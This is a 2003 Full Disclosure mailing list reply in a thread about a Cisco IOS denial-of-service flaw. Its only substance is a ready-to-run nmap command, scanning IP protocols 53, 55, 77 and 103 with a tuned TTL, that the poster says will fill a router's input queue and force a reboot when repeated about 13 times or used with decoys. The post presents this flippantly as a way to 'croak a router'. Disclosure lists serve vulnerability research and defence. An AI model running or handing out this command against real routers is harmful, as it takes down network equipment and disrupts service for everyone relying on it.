Full Disclosure mailing list archives

Re: Cisco IOS Denial of Service that affects most Cisco IOS routers- requires power cycle to recover

From: "Shawn Bernard" <grabraham () tooterfish com>
Date: Tue, 22 Jul 2003 13:33:39 -0700

Yet another tool that can be used to croak a router is trusty Nmap-

 nmap -sO -p 53,55,77,103 -v -ttl [ttl from ping -255] [targetIP]
 
when run ~13 times or with a few decoys ;-) will fill the imput queue requiring a router reboot


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Current thread:

Re: Cisco IOS Denial of Service that affects most Cisco IOS routers- requires power cycle to recover lee . e . rian (Jul 21)
- RE: Re: Cisco IOS Denial of Service that affects most Cisco IOS routers- requires power cycle to recover Curt Purdy (Jul 22)
- <Possible follow-ups>
- Re: Cisco IOS Denial of Service that affects most Cisco IOS routers- requires power cycle to recover Shawn Bernard (Jul 22)
  - RE: Re: Cisco IOS Denial of Service that affects most Cisco IOS routers- requires power cycle to recover amilabs (Jul 22)
- RE: Re: Cisco IOS Denial of Service that affects most Cisco IOS routers- requires power cycle to recover lee . e . rian (Jul 23)
  - RE: Re: Cisco IOS Denial of Service that affects most Cisco IOS routers- requires power cycle to recover Cedric Blancher (Jul 24)
    - Re: Cisco IOS Denial of Service that affects most Cisco IOS routers- requires power cycle to recover Richard Johnson (Jul 24)